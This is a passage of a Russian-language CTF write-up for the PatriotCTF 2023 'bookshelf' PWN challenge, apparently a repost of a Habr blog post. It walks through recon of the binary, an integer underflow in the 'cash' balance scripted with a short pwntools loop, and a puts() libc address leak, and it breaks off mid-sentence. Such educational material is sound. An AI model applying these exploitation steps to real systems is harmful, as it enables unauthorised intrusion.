{"id":356562,"date":"2024-05-20T23:32:19","date_gmt":"2024-05-20T23:32:19","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=356562"},"modified":"-0001-11-30T00:00:00","modified_gmt":"2024-05-20T23:32:19","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=356562","title":{"rendered":"<span>\u042d\u043a\u0437\u0430\u043c\u0435\u043d \u0434\u043b\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0445. PWN. bookshelf PatriotCTF 2023<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2ff\/f18\/ee5\/2fff18ee50b400a91a1fbe9666d68f7f.png\" width=\"1024\" height=\"575\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/2ff\/f18\/ee5\/2fff18ee50b400a91a1fbe9666d68f7f.png\"\/><\/figure>\n<p>\u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043f\u0440\u043e\u0448\u0435\u043b PatriotCTF 2023.  \u0422\u0430\u0441\u043a\u0438 \u0445\u043e\u0440\u043e\u0448\u0438\u0435 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0434\u043b\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0445. \u041d\u0430 \u043d\u0435\u043c \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043d\u0430\u0432\u044b\u043a\u0438 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445:<\/p>\n<ol>\n<li>\n<p>PWN<\/p>\n<\/li>\n<li>\n<p>Reverse<\/p>\n<\/li>\n<li>\n<p>Forensics<\/p>\n<\/li>\n<li>\n<p>Crypto<\/p>\n<\/li>\n<li>\n<p>Web<\/p>\n<\/li>\n<li>\n<p>Stego<\/p>\n<\/li>\n<li>\n<p>OSINT<\/p>\n<\/li>\n<\/ol>\n<p>\u0417\u0430\u0446\u0435\u043f\u0438\u043b \u043c\u0435\u043d\u044f \u0442\u0430\u0441\u043a \u043f\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0443 PWN. \u0427\u0442\u043e\u0431\u044b \u0435\u0433\u043e \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u0437\u043d\u0430\u043d\u0438\u044f \u0432:<\/p>\n<ol>\n<li>\n<p>\u0420\u0435\u0432\u0435\u0440\u0441\u0435<\/p>\n<\/li>\n<li>\n<p>ROP-\u0446\u0435\u043f\u043e\u0447\u043a\u0430\u0445<\/p>\n<\/li>\n<li>\n<p>\u0411\u0430\u0437\u043e\u0432\u044b\u0445 \u043f\u043e\u043d\u044f\u0442\u0438\u044f\u0445 \u0438\u043d\u0442\u043e\u0432<\/p>\n<\/li>\n<li>\n<p>\u0417\u043d\u0430\u0442\u044c \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0444\u0435\u0440\u0430<\/p>\n<\/li>\n<\/ol>\n<p>\u042d\u0442\u043e \u044d\u043a\u0437\u0430\u043c\u0435\u043d \u0434\u043b\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0445, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432 \u0442\u0430\u0441\u043a\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432\u0441\u0435 \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0430\u0442\u0430\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u043d\u0430\u0442\u044c PWN-\u0435\u0440.<\/p>\n<blockquote>\n<p>\u0414\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440: \u0412\u0441\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435, \u0432\u0437\u044f\u0442\u044b \u0438\u0437 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043d\u0435 \u043f\u0440\u0438\u0437\u044b\u0432\u0430\u044e\u0442 \u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044e \u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043b\u0438\u0448\u044c \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0434\u043b\u044f \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u043b\u0435\u043d\u0438\u044f, \u0438 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439<\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/037\/905\/914\/037905914fc5346967f7b9d7234290a3.png\" width=\"542\" height=\"577\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/037\/905\/914\/037905914fc5346967f7b9d7234290a3.png\"\/><\/figure>\n<h4>\u0418\u0437\u0443\u0447\u0430\u0435\u043c \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b<\/h4>\n<p>\u041f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437, \u043f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435 \u0443 \u043c\u0435\u043d\u044f, \u043d\u0430\u0447\u0438\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0442\u0430\u043a:<\/p>\n<ol>\n<li>\n<p><code>file<\/code><\/p>\n<\/li>\n<li>\n<p><code>strings<\/code><\/p>\n<\/li>\n<li>\n<p><code>checksec<\/code><\/p>\n<\/li>\n<li>\n<p><code>xxd binary | grep \"UPX\"<\/code><\/p>\n<\/li>\n<li>\n<p><code>seccomp-tools<\/code><\/p>\n<\/li>\n<\/ol>\n<p>\u0412\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u0440\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u043d\u0435 \u0431\u0443\u0434\u0443, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432\u0441\u0435 \u044d\u0442\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435  <strong>J0llyTr0LLz<\/strong>.<\/p>\n<p>\u0413\u043b\u0430\u0432\u043d\u043e\u0435 \u043e\u043a\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/199\/b0b\/f33\/199b0bf339d73747a1ae18bf6057691d.png\" width=\"1425\" height=\"881\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/199\/b0b\/f33\/199b0bf339d73747a1ae18bf6057691d.png\"\/><\/figure>\n<p>\u0413\u043e\u0440\u044f\u0447\u0435\u0439 \u043a\u043b\u0430\u0432\u0438\u0448\u0435\u0439 <code>Ctrl+O<\/code> \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043e\u043d \u0438\u0437 \u0441\u0435\u0431\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/fa8\/b6f\/0df\/fa8b6f0df53ae616e6d3607b24b5c21e.png\" width=\"1133\" height=\"369\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/fa8\/b6f\/0df\/fa8b6f0df53ae616e6d3607b24b5c21e.png\"\/><\/figure>\n<p>\u041f\u043e <code>readelf<\/code> \u0432 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u0442\u0430\u043a\u043e\u0433\u043e \u043d\u0435 \u0432\u0438\u0434\u043d\u043e. \u041f\u0440\u043e\u0441\u0442\u043e \u044d\u043b\u044c\u0444\u0430\u0440\u044c 64 \u0440\u0430\u0437\u0440\u044f\u0434\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u043c \u0431\u0430\u0439\u0442 little-end.<\/p>\n<p>\u0412 <code>file<\/code> \u0442\u043e\u0436\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u0443\u0434\u0438\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w780q1\/getpro\/habr\/upload_files\/aee\/432\/df1\/aee432df14a4a517fba6679a68e78a18.jpg\" width=\"766\" height=\"199\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/aee\/432\/df1\/aee432df14a4a517fba6679a68e78a18.jpg\" data-blurred=\"true\"\/><\/figure>\n<p>\u041d\u0435\u0442 \u043a\u0430\u043d\u0430\u0440\u0435\u0439\u043a\u0438, \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0440\u0430\u043d\u0434\u043e\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0438 \u0431\u0438\u043d\u0430\u0440\u044c \u043d\u0435 \u0443\u043f\u0430\u043a\u043e\u0432\u0430\u043d UPX<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/277\/aa8\/439\/277aa84397066c9583efcc576400f583.png\" width=\"768\" height=\"387\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/277\/aa8\/439\/277aa84397066c9583efcc576400f583.png\"\/><\/figure>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u0435\u0441\u0442\u044c \u043b\u0438 \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u043f\u043e \u0442\u0438\u043f\u0443 <code>pop rax; ret<\/code> \u0438\u043b\u0438 <code>pop rsi; ret<\/code>. \u0412\u0434\u0440\u0443\u0433 \u043f\u0440\u0438\u0433\u043e\u0434\u044f\u0442\u0441\u044f. \u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438&#8230;<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/929\/e5e\/065\/929e5e06546f98eca1a285e005d23ef3.png\" width=\"1156\" height=\"596\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/929\/e5e\/065\/929e5e06546f98eca1a285e005d23ef3.png\"\/><\/figure>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0447\u0435\u043a\u043d\u0435\u043c \u0441\u0442\u043e\u043a\u0438 \u043d\u0430\u0436\u0430\u0432 \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044e <code>Ctrl+S<\/code>.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/861\/666\/822\/861666822bc19f27af99df01ae942c45.png\" width=\"974\" height=\"669\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/861\/666\/822\/861666822bc19f27af99df01ae942c45.png\"\/><\/figure>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044e, \u0435\u0441\u0442\u044c \u043b\u0438 <code>seccomp<\/code>. \u041e\u043d\u0438, \u043e\u0431\u044b\u0447\u043d\u043e, \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f \u0432 \u0441\u0442\u0440\u043e\u043a\u0430\u0445<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/b52\/92f\/e20\/b5292fe20202ed54648b518f9d4708cf.png\" width=\"974\" height=\"669\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/b52\/92f\/e20\/b5292fe20202ed54648b518f9d4708cf.png\"\/><\/figure>\n<p>\u041d\u0438\u0447\u0435\u0433\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438. \u041f\u043e\u0439\u0434\u0435\u043c \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441.<\/p>\n<h4>\u0418\u0433\u0440\u0430\u0435\u043c \u0441 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c<\/h4>\n<p>\u0412 \u0433\u043b\u0430\u0432\u043d\u043e\u043c \u043e\u043a\u043d\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u0442\u0441\u044f \u043c\u0435\u043d\u044e, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u043e\u0436\u043d\u043e:<\/p>\n<ol>\n<li>\n<p>\u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043d\u0438\u0433\u0443<\/p>\n<\/li>\n<li>\n<p>\u041a\u0443\u043f\u0438\u0442\u044c \u043a\u043d\u0438\u0433\u0443<\/p>\n<\/li>\n<li>\n<p>\u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u043a\u043d\u0438\u0433\u0443, \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u043e\u043c<\/p>\n<\/li>\n<li>\n<p>\u0412\u044b\u0439\u0442\u0438<\/p>\n<\/li>\n<\/ol>\n<p>\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043a\u0443\u043f\u0438\u0442\u044c \u043a\u043d\u0438\u0433\u0443:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/fe7\/7de\/660\/fe77de660aee61fef314311f0da1908f.png\" width=\"764\" height=\"502\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/fe7\/7de\/660\/fe77de660aee61fef314311f0da1908f.png\"\/><\/figure>\n<p>\u041b\u0430\u0434\u043d\u043e. \u041a\u0443\u043f\u0438\u043b\u0438 \u043a\u043d\u0438\u0433\u0443 \u0438, \u043d\u0430\u0432\u0435\u0440\u043d\u043e\u0435, \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c 75 \u0431\u0430\u043a\u0441\u043e\u0432 \u0438 \u0442\u0440\u0430\u0442\u0438\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043c\u043e\u0436\u0435\u043c. \u0422\u0430\u043a \u0436\u0435 \u043d\u0430\u0441 \u043f\u0440\u043e\u0441\u044f\u0442 \u043a\u0430\u043a\u043e\u0435-\u0442\u043e \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435. \u041f\u043e\u043a\u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043c \u044d\u0442\u043e\u0442 \u043f\u0443\u043d\u043a\u0442.<\/p>\n<p>\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043d\u0438\u0433\u0443. \u0412\u0438\u0434\u0438\u043c\u043e, \u043f\u0435\u0440\u0435\u0434 \u043d\u0430\u043c\u0438 \u0432\u044b\u0431\u043e\u0440 \u0438\u043b\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043d\u0438\u0433\u0443 \u0438\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0430\u0443\u0434\u0438\u043e\u043a\u043d\u0438\u0433\u0443<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/425\/552\/4be\/4255524be123e9e9ce80b11a849ef462.png\" width=\"764\" height=\"502\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/425\/552\/4be\/4255524be123e9e9ce80b11a849ef462.png\"\/><\/figure>\n<p>\u041e\u0442\u0432\u0435\u0442\u0438\u043c, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043d\u0435\u0442( N ) \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043c \u043a\u0430\u043a\u0443\u044e-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u0442\u0440\u043e\u0447\u043a\u0443<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/068\/8a2\/23c\/0688a223cba5c96ed0c340433fce323f.png\" width=\"764\" height=\"502\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/068\/8a2\/23c\/0688a223cba5c96ed0c340433fce323f.png\"\/><\/figure>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0438\u0433\u0440\u044b \u0441 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u0434\u0435\u043b\u0438\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 \u043f\u0443\u043d\u043a\u0442 \u043d\u043e\u043c\u0435\u0440 3 &#8212; <code>Write a special book (ADMINS ONLY) (0)<\/code>. \u0422\u0443\u0434\u0430 \u0438 \u0431\u0443\u0434\u0435\u043c \u0441\u0442\u0440\u0435\u043c\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u043f\u0430\u0441\u0442\u044c.<\/p>\n<h4>\u0420\u0435\u0432\u0435\u0440\u0441<\/h4>\n<p>\u0420\u0435\u0432\u0435\u0440\u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0431\u0443\u0434\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0432 IDA Pro. \u041d\u0430\u0447\u043d\u0443 \u0440\u0435\u0432\u0435\u0440\u0441 \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u043a\u0443\u043f\u0430\u0435\u043c \u043a\u043d\u0438\u0433\u0438. \u0412\u0441\u0435 \u0431\u043b\u043e\u043a\u0438 \u043f\u043e\u0445\u043e\u0436\u0438. \u0425\u0432\u0430\u0442\u0430\u0435\u0442 \u0434\u0435\u043d\u0435\u0433 &#8212; \u0432\u044b\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u0443\u043c\u043c\u0430, \u0438\u043d\u0430\u0447\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 <code>You don't have enough cash!<\/code>.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f2f\/385\/f2b\/f2f385f2b5e4289c2a231701a42657ff.png\" width=\"1096\" height=\"402\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f2f\/385\/f2b\/f2f385f2b5e4289c2a231701a42657ff.png\"\/><\/figure>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e <code>cash<\/code>.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/5cf\/f1c\/3c8\/5cff1c3c85f15ee3c98796f58aa6f9d1.png\" width=\"816\" height=\"115\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/5cf\/f1c\/3c8\/5cff1c3c85f15ee3c98796f58aa6f9d1.png\"\/><\/figure>\n<p>\u0412\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u044d\u0442\u043e <code>int<\/code>. \u041c\u043e\u0436\u0435\u0442 \u044d\u0442\u043e <code>unsigned int<\/code>? \u041f\u0440\u043e\u0441\u0442\u043e, \u0435\u0441\u043b\u0438 \u0440\u0430\u0441\u0441\u0443\u0436\u0434\u0430\u0442\u044c \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a, \u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435: \u043a\u043e\u0433\u0434\u0430 cash \u043c\u0435\u043d\u044c\u0448\u0435 0, \u0432 \u043d\u0435\u043c \u0431\u0443\u0434\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c\u0441\u044f \u0441\u0430\u043c\u043e\u0435 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435<\/p>\n<p><code>\u0435\u0441\u043b\u0438 cash &lt; 0, \u0442\u043e cash = 0xFFFFFFFF 0xFFFFFFFF = 4294967295 <\/code><\/p>\n<p>\u0412\u043e\u043f\u0440\u043e\u0441 \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u0440\u0443\u0433\u043e\u0439. \u041a\u0430\u043a \u0434\u043e\u0439\u0442\u0438 \u0434\u043e \u044d\u0442\u043e\u0433\u043e? \u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043c\u043d\u044e, \u0431\u044b\u043b\u0430 \u0440\u0435\u0447\u044c \u043e \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438. \u041f\u0440\u043e\u0440\u0435\u0432\u0435\u0440\u0441\u0438\u043c \u044d\u0442\u043e\u0442 \u043a\u0443\u0441\u043e\u043a \u043a\u043e\u0434\u0430<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/41f\/1a0\/18c\/41f1a018cdbf3eb02520221dbcc6d4d0.png\" width=\"728\" height=\"389\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/41f\/1a0\/18c\/41f1a018cdbf3eb02520221dbcc6d4d0.png\"\/><\/figure>\n<p>\u0418 \u0442\u0443\u0442 \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u0447\u0442\u043e \u043d\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 cash. \u0412\u0441\u0435\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043d\u0438\u043c\u0430\u0442\u044c\u0441\u044f 10 \u043f\u043e\u0438\u043d\u0442\u043e\u0432 \u043f\u0440\u0438 \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0442\u0435\u043f\u0435\u0440\u044c \u0442\u0435\u043e\u0440\u0438\u044e \u0441 \u0431\u0435\u0437\u0437\u043d\u0430\u043a\u043e\u0432\u044b\u043c \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u043c. \u0421\u0440\u0430\u0437\u0443 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e<\/p>\n<p><code>for i in range(8):<br \/>     io.recvuntil(b'4) Check out')<br \/>     io.sendline(b'2')<br \/>     io.sendline(b'2')<br \/>     io.sendline(b'y')<\/code><\/p>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f41\/27d\/a0b\/f4127da0b68e86fe611de9ca973ab4c5.png\" width=\"794\" height=\"371\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f41\/27d\/a0b\/f4127da0b68e86fe611de9ca973ab4c5.png\"\/><\/figure>\n<p>\u041d\u0430\u0441\u0442\u0430\u043b \u043c\u043e\u043c\u0435\u043d\u0442, \u043a\u043e\u0433\u0434\u0430 \u0443\u0448\u043b\u0438 \u0432 \u043c\u0438\u043d\u0443\u0441. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0431\u0430\u043b\u0430\u043d\u0441<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/fd4\/027\/1fa\/fd40271fac340d6e51222b065b794a48.png\" width=\"777\" height=\"550\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/fd4\/027\/1fa\/fd40271fac340d6e51222b065b794a48.png\"\/><\/figure>\n<p>\u0422\u0435\u043e\u0440\u0438\u044f \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430! \u042d\u0442\u043e \u0431\u044b\u043b\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u0441 \u0442\u0438\u043f\u043e\u043c \u0434\u0430\u043d\u043d\u044b\u0445 &#8212;  <code>unsigned int<\/code>. \u0422\u0435\u043f\u0435\u0440\u044c \u043a\u0443\u043f\u0438\u043c \u043a\u043d\u0438\u0436\u043a\u0443<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/186\/07c\/512\/18607c5123ccdf123fc6e4ffb68d6075.png\" width=\"777\" height=\"550\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/186\/07c\/512\/18607c5123ccdf123fc6e4ffb68d6075.png\"\/><\/figure>\n<p>\u041a\u0430\u043a \u0438 \u043e\u0436\u0438\u0434\u0430\u043b\u043e\u0441\u044c &#8212; \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0443\u0442\u0435\u0447\u043a\u0443 <code>puts()<\/code> \u0438\u0437 libc. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0431\u0430\u0437\u0443 libc, \u0438 \u0434\u0430\u043b\u044c\u0448\u0435 \u0434\u0435\u043b\u0430\u0442\u044c \u0447\u0442\u043e \u0443\u0433\u043e\u0434\u043d\u043e \u0443\u0433\u043e\u0434\u043d\u043e.<\/p>\n<p>\u0411\u0430\u0437\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a:<\/p>\n<p><code>LEAK_FUNC_ADDR = LIBC_BASE + OFFSET<\/code><\/p>\n<p>\u0417\u043d\u0430\u0447\u0438\u0442, \u0438\u0449\u0435\u043c \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 <code>puts()<\/code> \u0432 